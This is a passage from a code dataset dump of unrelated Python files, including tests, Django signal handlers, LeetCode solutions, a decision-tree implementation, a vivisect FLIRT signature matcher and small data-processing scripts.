LowRank(B.ones(dtype, rows, 1), middle=middle)\n else:\n return LowRank(B.ones(dtype, rows, 1), B.ones(dtype, cols, 1), middle=middle)\n","sub_path":"matrix/promote.py","file_name":"promote.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"100109373","text":"import unittest\nimport sys\nsys.path.append('..')\nfrom db.db_functions import *\nfrom utilities.file_operations import *\nfrom app import app\n\n\nclass MyTestCase(unittest.TestCase):\n def setUp(self):\n # self.app = app.test_client()\n self.app = app\n self.app.testing = True\n self.client = self.app.test_client()\n\n def test_get_book_types_list(self):\n bookTypes = get_json_from_file(\"test_data/book_types.json\", os.path.abspath(os.path.dirname(__file__)))\n bookTypes = bookTypes[\"bookTypes\"]\n assert (bookTypes.sort() == get_book_types_list().sort())\n\n def test_get_book_types_and_charges(self):\n bookTypeCharges = get_json_from_file(\"test_data/book_type_charges.json\", os.path.abspath(os.path.dirname(__file__)))\n assert(bookTypeCharges == get_book_types_and_charges())\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"book-rental-calculator/tests/test_db_functions.py","file_name":"test_db_functions.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"515467618","text":"from django.db.models.signals import pre_save, pre_delete\nfrom django.dispatch import receiver\nfrom person.models import *\nfrom whosendsignal import decorators\nfrom whosendsignal.models import *\n\n@receiver(pre_save, sender = Person,dispatch_uid = \"solo_create_update\" )\n@decorators.add_updated_or_created_user\ndef pre_save_model_handler(sender, instance, **kwargs):\n created_by_attr = getattr(instance,\"created_by\",False)\n updated_by_attr = getattr(instance,\"updated_by\", False)\n entry = TestCreatedUpdated()\n if (updated_by_attr and not created_by_attr):\n entry.updated_by = updated_by_attr\n entry.value = \"%s was updated by %s\" %(instance, updated_by_attr)\n entry.save()\n if created_by_attr:\n entry.created_by = created_by_attr\n entry.value = \"%s was created by %s\" %(instance, created_by_attr)\n entry.save()\n\n@receiver(pre_delete, sender = Person, dispatch_uid = \"solo_delete\")\n@decorators.add_deleted_user\ndef pre_delete_model_handler(sender, instance, **kwargs):\n deleted_by_attr = getattr(instance,\"deleted_by\", None)\n if deleted_by_attr:\n entry = TestCreatedUpdated()\n entry.deleted_by = deleted_by_attr\n entry.value = \"%s was deleted by %s\" % (instance, deleted_by_attr)\n entry.save()","sub_path":"person/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"581589309","text":"#\n# @lc app=leetcode id=645 lang=python3\n#\n# [645] Set Mismatch\n#\n\n# @lc code=start\nclass Solution:\n def findErrorNums(self, nums: List[int]) -> List[int]:\n \n n, re = max(nums), [0, 0]\n s = (1 + n) * n / 2\n u = sum(set(nums))\n\n re[1] = int(s - u)\n re[0] = int(sum(nums) - u)\n \n return re\n\n\n\n\n\n# @lc code=end\n\n","sub_path":"645.set-mismatch.py","file_name":"645.set-mismatch.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"465534429","text":"# You are given a string s that consists of lower case English letters and brackets.\n#\n# Reverse the strings in each pair of matching parentheses, starting from the innermost one.\n#\n# Your result should not contain any brackets.\n#\n#  \n# Example 1:\n#\n#\n# Input: s = \"(abcd)\"\n# Output: \"dcba\"\n#\n#\n# Example 2:\n#\n#\n# Input: s = \"(u(love)i)\"\n# Output: \"iloveu\"\n# Explanation: The substring \"love\" is reversed first, then the whole string is reversed.\n#\n#\n# Example 3:\n#\n#\n# Input: s = \"(ed(et(oc))el)\"\n# Output: \"leetcode\"\n# Explanation: First, we reverse the substring \"oc\", then \"etco\", and finally, the whole string.\n#\n#\n#  \n# Constraints:\n#\n#\n# \t1 <= s.length <= 2000\n# \ts only contains lower case English characters and parentheses.\n# \tIt is guaranteed that all parentheses are balanced.\n#\n#\n\n\nclass Solution:\n def reverseParentheses(self, s: str) -> str:\n stack = ['']\n for char in s:\n if char == \"(\":\n stack.append('')\n elif char == \")\":\n last = stack.pop()\n # Reverse it with [::-1]\n stack[-1] += last[::-1]\n else:\n stack[-1] += char\n return stack.pop()\n","sub_path":"solutions/1298-reverse-substrings-between-each-pair-of-parentheses/reverse-substrings-between-each-pair-of-parentheses.py","file_name":"reverse-substrings-between-each-pair-of-parentheses.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"465237674","text":"import math\nimport operator\nimport timeit\nimport matplotlib.pyplot as plt\n\n\ndef create_dataset():\n dataset = [[1, 1, 'yes'],\n [1, 1, 'yes'],\n [1, 0, 'no'],\n [0, 1, 'no'],\n [0, 1, 'no']]\n labels = ['no surfacing', 'flippers']\n return dataset, labels\n\n\n# decision tree\ndef calculate_entropy(dataset:list):\n \"\"\"\n calculate the entropy of a data set\n :param dataset: data set ( with the class at the last column)\n :return: entropy\n \"\"\"\n number = len(dataset)\n label_count = {}\n entropy = 0\n for sample in dataset:\n label = sample[-1]\n if label not in label_count.keys():\n label_count[label] = 0\n label_count[label] += 1\n for label in label_count:\n probability = label_count[label] / number\n entropy -= probability*math.log(probability, 2)\n return entropy\n\n\ndef split_dataset(dataset: list, feature: int, value):\n \"\"\"\n split the dataset , find the subset that has the specific value at the feature\n :param dataset: 数据集, each row is a sample\n :param feature: 指定特征\n :param value: 指定特征的值\n :return: 符合条件后的数据集(指定特征已经删除)\n \"\"\"\n result = []\n for sample in dataset:\n if sample[feature] == value:\n temp = sample[:feature]\n temp.extend(sample[feature+1:])\n result.append(temp)\n return result\n\n\ndef choose_best_feature(dataset: list):\n \"\"\"\n choose the best feature to split the data set (the feature make the most decrease of entropy)\n :param dataset:\n :return: the best feature\n \"\"\"\n feature_num = len(dataset[0]) - 1\n best_feature = -1\n most_entory_decrease = 0\n original_entropy = calculate_entropy(dataset)\n for feature in range(feature_num):\n featureList = [x[feature] for x in dataset]\n feature_values = set(featureList)\n temp_entropy = 0\n for v in feature_values:\n sub = split_dataset(dataset, feature, v)\n temp_entropy += len(sub)/len(dataset)*calculate_entropy(sub)\n if original_entropy - temp_entropy > most_entory_decrease:\n best_feature = feature\n most_entory_decrease = original_entropy - temp_entropy\n return best_feature\n\n\ndef majority_vote(class_list: list):\n \"\"\"\n majority vote\n :param class_list:\n :return: the majority class\n \"\"\"\n class_vote = {}\n for c in class_list:\n if c not in class_vote.keys():\n class_vote[c] = 0\n class_vote[c] += 1\n sorted_list = sorted(class_vote, operator.itemgetter(1), True)\n return sorted_list[0][0]\n\n\ndef create_tree(dataset: list, labels: list):\n \"\"\"\n create decision tree\n :param dataset:\n :param labels: feature names\n :return: the created decision tree\n \"\"\"\n labels2 = labels[::]\n class_list = [sample[-1] for sample in dataset]\n if len(class_list) == class_list.count(class_list[0]):\n return class_list[0]\n if len(dataset[0]) == 1:\n return majority_vote(class_list)\n best = choose_best_feature(dataset)\n best_label = labels[best]\n tree = {best_label: {}}\n values = set([sample[best] for sample in dataset])\n labels2.remove(best_label)\n for v in values:\n sub = split_dataset(dataset, best, v)\n tree[best_label][v] = create_tree(sub, labels2)\n return tree\n\n\ndef classify(tree, featureLables, sample):\n firstKey = tree.keys().__iter__().__next__()\n firstValue = tree[firstKey]\n featureIndex = featureLables.index(firstKey)\n for v in firstValue.keys():\n if v == sample[featureIndex]:\n if type(firstValue[v]).__name__ == 'dict':\n return classify(firstValue[v], featureLables, sample)\n else:\n return firstValue[v]\n\n\ndef saveTree(tree, fileName):\n import pickle\n stream = open(fileName, 'w')\n pickle.dump(tree, stream)\n stream.close()\n\n\ndef loadTree(fileName):\n import pickle\n stream = open(fileName, 'r')\n tree = pickle.load(stream)\n stream.close()\n return tree\n\n\ndef get_leaf_number(tree):\n \"\"\"\n get the number of leaves of a tree\n :param tree: the decision tree\n :return:\n \"\"\"\n num = 0\n if type(tree).__name__ == 'str':\n return 1\n firstValue = tree.values().__iter__().__next__()\n for key in firstValue.keys():\n # if type(firstValue[key]).__name__ == 'dict':\n num += get_leaf_number(firstValue[key])\n # else:\n # num += 1\n return num\n\n\ndef get_tree_depth(tree):\n \"\"\"\n get the depth of a decision tree\n :param tree:\n :return:\n \"\"\"\n depth = 0\n firstValue = tree.values().__iter__().__next__()\n # check every child tree, get max depth between them\n for key in firstValue.keys():\n if type(firstValue[key]).__name__ == 'dict':\n temp = get_tree_depth(firstValue[key])\n if temp > depth:\n depth = temp\n return depth + 1\n\n\ndef plotTree(tree):\n plt.figure(1)\n plt.clf()\n axis1 = plt.subplot(111)\n # dataset, labels = create_dataset()\n # tree = create_tree(dataset, labels)\n # print(tree)\n leafs = get_leaf_number(tree)\n depth = get_tree_depth(tree)\n plotSubTree(axis1, tree, (0.5, 0.95, 0.9, 0.9), None, (0.9/leafs, 0.9/depth))\n plt.show()\n\n\ndef plotSubTree(axis, node, rect, parentPosition=None, step=(0.1, 0.1)):\n \"\"\"\n draw a decision tree\n :param node: a node of a decision tree\n :param rect: the rectangle(x,y,w,h) in which the tree plots, and (x,y) is top center of the rectangle\n :param parentPosition: the position(x,y) of the parent node\n :param step: the distance(x,y) between adjacent nodes in the tree\n :return: none\n \"\"\"\n if type(node).__name__ == 'dict':\n firstKey = node.keys().__iter__().__next__()\n firstValue = node[firstKey]\n childrenNum = len(firstValue)\n else:\n firstKey = node\n firstValue = node\n if parentPosition:\n axis.annotate(firstKey, xy=parentPosition, xytext=(rect[0],rect[1]),\n arrowprops={'arrowstyle':'<-'}, bbox={'boxstyle':'round4'},\n verticalalignment=\"top\", horizontalalignment=\"center\")\n else:\n axis.annotate(firstKey, xytext=(rect[0],rect[1]), xy=(rect[0],rect[1]),\n bbox={'boxstyle':'round4'},\n verticalalignment=\"top\", horizontalalignment=\"center\")\n if type(firstValue).__name__ != 'dict':\n return\n i = 0\n left = rect[0] - rect[3]/2\n totalLeafs = get_leaf_number(node)\n for key in firstValue.keys():\n child = firstValue[key]\n leafs = get_leaf_number(child)\n newRect = (left + step[0]*(i+leafs/2), rect[1]-step[1], step[0]*leafs, 0)\n plotSubTree(axis, firstValue[key], newRect, (rect[0],rect[1]), step)\n axis.text((rect[0]+newRect[0])/2, (rect[1]+newRect[1])/2, key)\n i += leafs\n\n\n\ndef retrieveTree(i):\n listOfTrees = [{'no surfacing': {0: 'no', 1: {'flippers': {0: 'no', 1: 'yes'}}}},\n {'no surfacing': {0: 'no', 1: {'flippers': {0: {'head': {0: 'no', 1: 'yes'}}, 1: 'no'}}}}\n ]\n return listOfTrees[i]\n\n\ndef testDepthAndLeaf():\n tree = retrieveTree(0)\n n = get_leaf_number(tree)\n print(f'leaf number:{n}')\n d = get_tree_depth(tree)\n print(f'depth:{d}')\n\n\ndef test_tree():\n dataset, labels = create_dataset()\n print(dataset)\n print(labels)\n # entropy = calculate_entropy(dataset)\n # print(\"entropy :\", entropy)\n # sub = split_dataset(dataset, 1, 1)\n # print('after split', sub)\n # best = choose_best_feature(dataset)\n # print('best feature:', best)\n tree = create_tree(dataset, labels)\n print('tree')\n print(tree)\n plotTree(tree)\n sample = [1,0]\n c1 = classify(tree, labels, sample)\n print(f'the class of {sample} is {c1}')\n sample = [1,1]\n c1 = classify(tree, labels, sample)\n print(f'the class of {sample} is {c1}')\n\n\ndef testContactLens():\n stream = open('./data/lenses.txt', 'r')\n dataSet = [line.strip().split('\\t') for line in stream.readlines()]\n print(dataSet)\n labels = ['age', 'prescript', 'astigmatic', 'tearRate']\n tree = create_tree(dataSet, labels)\n print(tree)\n plotTree(tree)\n\n\n# a = timeit.timeit(stmt='test_tree()', setup='from __main__ import test_tree', number=1)\n# print(a)\ntestContactLens()\n\n","sub_path":"decision_tree.py","file_name":"decision_tree.py","file_ext":"py","file_size_in_byte":8415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"195152059","text":"import logging\nimport os\nimport re\n\n\ndef logger(name):\n # Logger: create a console handler and set level to debug\n formatter = logging.Formatter('%(asctime)s %(levelname)8s: %(message)s')\n handler = logging.StreamHandler()\n handler.setFormatter(formatter)\n\n logger = logging.getLogger(name)\n logger.addHandler(handler)\n\n level = os.environ['LOGGING_LEVEL'] if os.environ.get('LOGGING_LEVEL') else 'DEBUG'\n logger.setLevel(level)\n return logger\n\n\ndef queue_url_region(url):\n match = re.match(r'(https?)://sqs.([^.]+)', url)\n assert match, 'Failed to extract AWS region from %s' % url\n\n scheme, region = match[1], match[2]\n assert scheme == 'https', 'Queue URL must have https scheme'\n\n return region\n\n\ndef enforce_env_vars(vars):\n for var in vars:\n assert os.environ.get(var), 'Environment variable is not present: %s' % var\n","sub_path":"lib/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"477791229","text":"answer = 0\ntarget = None\ndef dfs(val, number):\n global answer\n if len(number) == 0: \n if val == target:\n print(\"=\", val)\n answer += 1\n return\n else:\n n = number.pop(0)\n dfs(val+n, number)\n dfs(val-n, number)\n number.insert(0, n)\n\ndef solution(number, t):\n global answer, target\n target = t\n dfs(0, number)\n return answer\n\nsolution([1,1,1,1,1], 3)","sub_path":"DFS_BFS/programmers#타겟넘버.py","file_name":"programmers#타겟넘버.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"451894665","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jun 27 15:30:49 2019\r\n\r\n@author: swang\r\n\"\"\"\r\n# simple loops\r\nnums=[1,2,3,4]\r\n\r\nfor num in nums:\r\n if num==3:\r\n print('Found')\r\n continue\r\n print(num)\r\n \r\nfor num in nums:\r\n for letter in 'abc':\r\n print(num,letter)\r\n \r\nfor i in range(10):\r\n print(i)\r\n \r\nx = 0\r\n\r\nwhile x < 10:\r\n if x==5:\r\n break\r\n print(x)\r\n x += 1\r\n\r\n\r\n","sub_path":"Python tutorial part 2.py","file_name":"Python tutorial part 2.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"592547324","text":"import numpy as np\nimport matplotlib.pyplot as plt\nclass Agent:\n\tdef __init__(self):\n\t\tx_coordinate = np.random.randint(0, 26)\n\t\ty_coordinate = np.random.randint(0, 26)\n\t\tself.coordinate = (x_coordinate, y_coordinate)\n\t\tself.history = []\n\n\tdef move(self):\n\t\t\"\"\"Move the agent\"\"\"\n\t\tx_coordinate = self.coordinate[0]\n\t\ty_coordinate = self.coordinate[1]\n\t\tx_coordinate += np.random.randint(-1, 2)\n\t\ty_coordinate += np.random.randint(-1, 2)\n\t\tself.update_coordinate(x_coordinate, y_coordinate)\n\n\tdef update_coordinate(self, x_coordinate, y_coordinate):\n\t\t\"\"\"Update current agent position\"\"\"\n\t\tself.history.append(self.coordinate)\n\t\tself.coordinate = (x_coordinate, y_coordinate)\n\nclass Model:\n\tdef __init__(self):\n\t\tself.agents = []\n\t\tfor _ in range(10):\n\t\t\tself.agents.append(Agent())\n\nif __name__ == \"__main__\":\n\tmy_model = Model()\n\tfor agent in my_model.agents:\n\t\t# print(agent.coordinate)\n\t\tagent.move()\n\t\tprint(agent.history)\n\t\tprint(agent.coordinate)\nagent1=my_model.agents[2]\n\nfor i in range(0,10):\n\tagent1.move()\n\nx_pos=[]\nfor tp in agent1.history:\n\tx_pos.append(tp[0])\n\tprint(x_pos)\n\nx_data=x_pos\ny_data=np.linspace(0,1,len(agent1.history))\nfig=plt.figure(figsize=(10,15))\nplt.plot(x_data,y_data)\nprint (x_data)\nprint (y_data)\nprint(len(agent1.history))\nplt.savefig('bub.png',type='png')","sub_path":"agentbased.py","file_name":"agentbased.py","file_ext":"py","file_size_in_byte":1292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"410108709","text":"# def insert(idx:int,ele,lst:list):\n# imp_var = lst[idx:]\n# lst = lst[:idx]\n# lst.append(ele)\n# lst = lst+imp_var\n# return lst\n# p = []\n# print(insert(0,2,p))\nimport matplotlib.pyplot as plt\nimport numpy as np\n \n# x axis values\nx = np.array([0,1,2,3,4,5,6,7,8,9,10])\n# corresponding y axis values\ny = np.array([0,1.006,2.012,3.018,4.024,5.030,6.036,7.042,8.048,9.054,10.60])\n \n# plotting the points \nplt.plot(x, y,'o:r')\nplt.title('R = 1kΩ')\n# naming the x axis\nplt.xlabel('V(v)')\n# naming the y axis\nplt.ylabel('I(A)')\n \n# giving a title to my graph\n \n# function to show the plot\nplt.show()","sub_path":"testmathplot.py","file_name":"testmathplot.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"466487089","text":"import os\nimport gzip\nimport time\nimport logging\nimport contextlib\n\nimport envi\nimport flirt\nimport vivisect\nimport vivisect.exc\nimport vivisect.const\n\nimport viv_utils\n\nlogger = logging.getLogger(__name__)\n\n\n# vivisect funcmeta key for a bool to indicate if a function is recognized from a library.\n# not expecting anyone to use this, aka private symbol.\n_LIBRARY_META_KEY = \"is-library\"\n\n\n@contextlib.contextmanager\ndef timing(msg):\n t0 = time.time()\n yield\n t1 = time.time()\n logger.debug(\"perf: %s: %0.2fs\", msg, t1 - t0)\n\n\ndef is_library_function(vw, va):\n \"\"\"\n is the function at the given address a library function?\n this may be determined by a signature matching backend.\n if there's no function at the given address, `False` is returned.\n\n note: if its a library function, it should also have a name set.\n\n args:\n vw (vivisect.Workspace):\n va (int): the virtual address of a function.\n\n returns:\n bool: if the function is recognized as from a library.\n \"\"\"\n return vw.funcmeta.get(va, {}).get(_LIBRARY_META_KEY, False)\n\n\ndef make_library_function(vw, va):\n \"\"\"\n mark the function with the given address a library function.\n the associated accessor is `is_library_function`.\n\n if there's no function at the given address, this routine has no effect.\n\n note: if its a library function, it should also have a name set.\n its up to the caller to do this part.\n\n args:\n vw (vivisect.Workspace):\n va (int): the virtual address of a function.\n \"\"\"\n fmeta = vw.funcmeta.get(va, {})\n fmeta[_LIBRARY_META_KEY] = True\n\n\ndef add_function_flirt_match(vw, va, name):\n \"\"\"\n mark the function at the given address as a library function with the given name.\n the name overrides any existing function name.\n\n args:\n vw (vivisect.Workspace):\n va (int): the virtual address of a function.\n name (str): the name to assign to the function.\n \"\"\"\n make_library_function(vw, va)\n viv_utils.set_function_name(vw, va, name)\n\n\ndef get_match_name(match):\n \"\"\"\n fetch the best name for a `flirt.FlirtSignature` instance.\n these instances returned by `flirt.FlirtMatcher.match()`\n may have multiple names, such as public and local names for different parts\n of a function. the best name is that at offset zero (the function name).\n\n probably every signature has a best name, though I'm not 100% sure.\n\n args:\n match (flirt.FlirtSignature): the signature to get a name from.\n\n returns:\n str: the best name of the function matched by the given signature.\n \"\"\"\n for name, type_, offset in match.names:\n if offset == 0:\n return name\n raise ValueError(\"flirt: match: no best name: %s\", match.names)\n\n\ndef match_function_flirt_signatures(matcher, vw, va, cache=None):\n \"\"\"\n match the given FLIRT signatures against the function at the given address.\n upon success, update the workspace with match metadata, setting the\n function as a library function and assigning its name.\n\n if multiple different signatures match the function, don't do anything.\n\n args:\n match (flirt.FlirtMatcher): the compiled FLIRT signature matcher.\n vw (vivisect.workspace): the analyzed program's workspace.\n va (int): the virtual address of a function to match.\n cache (Optional[Dict[int, Union[str, None]]]): internal cache of matches VA -> name or None on \"no match\".\n no need to provide as external caller.\n \"\"\"\n if cache is None:\n # we cache both successful and failed lookups.\n #\n # (callers of this function don't need to initialize the cache.\n # we'll provide one during recursive calls when we need it.)\n #\n # while we can use funcmeta to retrieve existing successful matches,\n # we don't persist failed matches,\n # because another FLIRT matcher might come along with better knowledge.\n #\n # however, when we match reference names, especially chained together,\n # then we need to cache the negative result, or we do a ton of extra work.\n # \"accidentally quadratic\" or worse.\n # see https://github.com/fireeye/capa/issues/448\n cache = {}\n\n function_meta = vw.funcmeta.get(va)\n if not function_meta:\n # not a function, we're not going to consider this.\n return\n\n if va in cache:\n return\n\n if is_library_function(vw, va):\n # already matched here.\n # this might be the case if recursive matching visited this address.\n name = viv_utils.get_function_name(vw, va)\n cache[va] = name\n return\n\n # as seen in https://github.com/williballenthin/lancelot/issues/112\n # Hex-Rays may distribute signatures that match across multiple functions.\n # therefore, we cannot rely on fetching just a single function's data.\n # in fact, we really don't know how much data to fetch.\n # so, lets pick an unreasonably large number and hope it works.\n #\n # perf: larger the size, more to memcpy.\n size = max(0x10000, function_meta.get(\"Size\", 0))\n\n buf = viv_utils.readMemoryCurrentSection(vw, va, size)\n\n matches = []\n for match in matcher.match(buf):\n # collect all the name tuples (name, type, offset) with type==reference.\n # ignores other name types like \"public\" and \"local\".\n references = list(filter(lambda n: n[1] == \"reference\", match.names))\n\n if not references:\n # there are no references that we need to check, so this is a complete match.\n # common case.\n matches.append(match)\n\n else:\n # flirt uses reference names to assert that\n # the function contains a reference to another function with a given name.\n #\n # we need to loop through these references,\n # potentially recursively FLIRT match,\n # and check the name matches (or doesn't).\n\n # at the end of the following loop,\n # if this flag is still true,\n # then all the references have been validated.\n does_match_references = True\n\n for ref_name, _, ref_offset in references:\n ref_va = va + ref_offset\n\n # the reference offset may be inside an instruction,\n # so we use getLocation to select the containing instruction address.\n location = vw.getLocation(ref_va)\n if location is None:\n does_match_references = False\n break\n\n loc_va = location[vivisect.const.L_VA]\n\n # an instruction may have multiple xrefs from\n # so we loop through all code references,\n # searching for that name.\n #\n # if the name is found, then this flag will be set.\n does_match_the_reference = False\n for xref in vw.getXrefsFrom(loc_va):\n if ref_name == \".\":\n # special case: reference named `.`\n # which right now we interpret to mean \"any data reference\".\n # see: https://github.com/williballenthin/lancelot/issues/112#issuecomment-802379966\n #\n # unfortunately, viv doesn't extract the xref for this one sample,\n # so this is untested.\n does_match_the_reference = xref[vivisect.const.XR_RTYPE] == vivisect.const.REF_DATA\n\n else:\n # common case\n #\n # FLIRT signatures only match code,\n # so we're only going to resolve references that point to code.\n if xref[vivisect.const.XR_RTYPE] != vivisect.const.REF_CODE:\n continue\n\n target = xref[vivisect.const.XR_TO]\n match_function_flirt_signatures(matcher, vw, target, cache)\n\n # the matching will have updated the vw in place,\n # so now we inspect any names found at the target location.\n if is_library_function(vw, target):\n found_name = viv_utils.get_function_name(vw, target)\n cache[target] = found_name\n if found_name == ref_name:\n does_match_the_reference = True\n break\n else:\n cache[target] = None\n\n if not does_match_the_reference:\n does_match_references = False\n break\n\n if does_match_references:\n # only if all references pass do we count it.\n matches.append(match)\n\n if not matches:\n cache[va] = None\n return\n\n # we may have multiple signatures that match the same function, like `strcpy`.\n # these could be copies from multiple libraries.\n # so we don't mind if there are multiple matches, as long as names are the same.\n #\n # but if there are multiple candidate names, that's a problem.\n # our signatures are not precise enough.\n # we could maybe mark the function as \"is a library function\", but not assign name.\n # though, if we have signature FPs among library functions, it could easily FP with user code too.\n # so safest thing to do is not make any claim about the function.\n names = list(set(map(get_match_name, matches)))\n\n if len(names) != 1:\n cache[va] = None\n logger.debug(\"conflicting names: 0x%x: %s\", va, names)\n return\n\n # there's one candidate name,\n # so all the matches *should* be about the same, i'd assume.\n match = matches[0]\n\n # first add local names, then we'll do public names\n # this way public names have precedence.\n # see: https://github.com/williballenthin/lancelot/issues/112#issuecomment-802221966\n for name, type_, offset in match.names:\n if type_ != \"local\":\n continue\n\n if not vw.isFunction(va + offset):\n # since we're registered as a function analyzer,\n # we have to deal with a race condition:\n # the location for which we have a name may not yet be a function.\n #\n # we can detect via two facts:\n # - the location hasn't been processed yet\n # - the address is executable\n if vw.getLocation(va + offset) is None and vw.probeMemory(va + offset, 1, envi.memory.MM_EXEC):\n # so lets try to turn it into a function\n vw.makeFunction(va + offset)\n\n try:\n add_function_flirt_match(vw, va + offset, name)\n except vivisect.exc.InvalidFunction:\n continue\n else:\n cache[va + offset] = name\n logger.debug(\"found local function name: 0x%x: %s\", va + offset, name)\n\n for name, type_, offset in match.names:\n if type_ != \"public\":\n continue\n\n try:\n add_function_flirt_match(vw, va + offset, name)\n except vivisect.exc.InvalidFunction:\n continue\n else:\n cache[va + offset] = name\n logger.debug(\"found library function: 0x%x: %s\", va + offset, name)\n\n return\n\n\nclass FlirtFunctionAnalyzer:\n def __init__(self, matcher, name=None):\n self.matcher = matcher\n self.name = name\n\n def analyzeFunction(self, vw: vivisect.VivWorkspace, funcva: int):\n match_function_flirt_signatures(self.matcher, vw, funcva)\n\n @property\n def __name__(self):\n if self.name:\n return f\"{self.__class__.__name__} ({self.name})\"\n else:\n return f\"{self.__class__.__name__}\"\n\n def __repr__(self):\n return self.__name__\n\n\ndef addFlirtFunctionAnalyzer(vw, analyzer):\n # this is basically the logic in `vivisect.VivWorkspace.addFuncAnalysisModule`.\n # however, that routine assumes the analyzer is a Python module, which is basically a global,\n # and i am very against globals.\n # so, we manually place the analyzer into the analyzer queue.\n #\n # notably, this enables a user to register multiple FlirtAnalyzers for different signature sets.\n key = repr(analyzer)\n\n if key in vw.fmodlist:\n raise ValueError(\"analyzer already present\")\n\n vw.fmodlist.append(key)\n vw.fmods[key] = analyzer\n\n\ndef register_flirt_signature_analyzers(vw, sigpaths):\n \"\"\"\n args:\n vw (vivisect.VivWorkspace):\n sigpaths (List[str]): file system paths of .sig/.pat files\n \"\"\"\n for sigpath in sigpaths:\n try:\n sigs = load_flirt_signature(sigpath)\n except ValueError as e:\n logger.warning(\"could not load %s: %s\", sigpath, str(e))\n continue\n\n logger.debug(\"flirt: sig count: %d\", len(sigs))\n\n with timing(\"flirt: compiling sigs\"):\n matcher = flirt.compile(sigs)\n\n analyzer = viv_utils.flirt.FlirtFunctionAnalyzer(matcher, sigpath)\n logger.debug(\"registering viv function analyzer: %s\", repr(analyzer))\n viv_utils.flirt.addFlirtFunctionAnalyzer(vw, analyzer)\n\n\ndef load_flirt_signature(path):\n if path.endswith(\".sig\"):\n with open(path, \"rb\") as f:\n with timing(\"flirt: parsing .sig: \" + path):\n sigs = flirt.parse_sig(f.read())\n\n elif path.endswith(\".pat\"):\n with open(path, \"rb\") as f:\n with timing(\"flirt: parsing .pat: \" + path):\n sigs = flirt.parse_pat(f.read().decode(\"utf-8\").replace(\"\\r\\n\", \"\\n\"))\n\n elif path.endswith(\".pat.gz\"):\n with gzip.open(path, \"rb\") as f:\n with timing(\"flirt: parsing .pat.gz: \" + path):\n sigs = flirt.parse_pat(f.read().decode(\"utf-8\").replace(\"\\r\\n\", \"\\n\"))\n\n else:\n raise ValueError(\"unexpect signature file extension: \" + path)\n\n return sigs\n","sub_path":"viv_utils/flirt.py","file_name":"flirt.py","file_ext":"py","file_size_in_byte":14020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"25195254","text":"# ch13_5.py\r\nimport csv\r\nimport pandas as pd\r\n\r\nfn = 'out13_4.csv'\r\nwith open(fn) as csvFile: # 開啟csv檔案\r\n csvReader = csv.reader(csvFile) # 讀檔案建立Reader物件\r\n listReport = list(csvReader) # 將資料轉成串列 \r\n\r\nfor row in listReport: # 將'-'改為'0'\r\n while '-' in row:\r\n i = row.index('-')\r\n row[i] = '0' \r\n\r\ntime_period = listReport[0] # 將第一個串列改為columns\r\ntime_period = time_period[1:]\r\n\r\nlistReport = listReport[1:] # 切片\r\n\r\nbank = []\r\nnewReport = []\r\nfor row in listReport: # 取得index\r\n bank.append(row[0])\r\n newReport.append(row[1:]) # 建立新利率串列\r\n\r\ndf = pd.DataFrame(newReport,columns=time_period,index=bank)\r\n\r\nprint(df)\r\n\r\n\r\n","sub_path":"exercise/crawler_python_dm1920/ch13/ch13_5.py","file_name":"ch13_5.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"334955815","text":"import FWCore.ParameterSet.Config as cms\n\nfilterTriggerObject = cms.EDFilter(\"TriggerObjectFilter\",\n\n trigger_event = cms.InputTag(\"patTriggerEvent\"),\n\t\t\t\t ## if trigger path is only given as a normal string,\n\t\t\t\t ## it is converted to the vector;\n ## if trigger path is given as string vector hltPaths, \n ## the normal string hltPath is ignored\n\t\t\t\t hltPath = cms.string('HLT_Ele10_SW_L1R'),\n hltPaths = cms.vstring(),\n nMin = cms.uint32(1),\n ptMin = cms.double(0),\n etMin = cms.double(0)\n )\n","sub_path":"TopFilter/python/filters/TriggerObjectFilter_cfi.py","file_name":"TriggerObjectFilter_cfi.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"518730638","text":"\"\"\"268\"\"\"\nimport codecs\n\nseg_reader = codecs.open('test_segs', 'r', 'utf8')\nrst_reader = codecs.open('test_words.csv', 'r', 'utf8')\nwriter = codecs.open('test_mapped.csv', 'w', 'utf8')\n\nfor seg_line in seg_reader:\n rst_line = rst_reader.readline()\n segs = seg_line.strip().split('|')\n topics, emotions, ranks = map(lambda x: x.split(';'), rst_line.strip().split(','))\n mapped_topics = []\n for emotion in emotions:\n for i in xrange(len(segs)):\n if segs[i] == emotion:\n topic = 'NULL'\n for j in xrange(i - 2, i + 3):\n if 0 <= j < len(segs):\n if segs[j] in topics:\n topic = segs[j]\n break\n mapped_topics.append(topic)\n if len(mapped_topics) > 0:\n writer.write(';'.join(mapped_topics) + ';,')\n writer.write(';'.join(emotions) + ';,')\n writer.write(';'.join(ranks) + 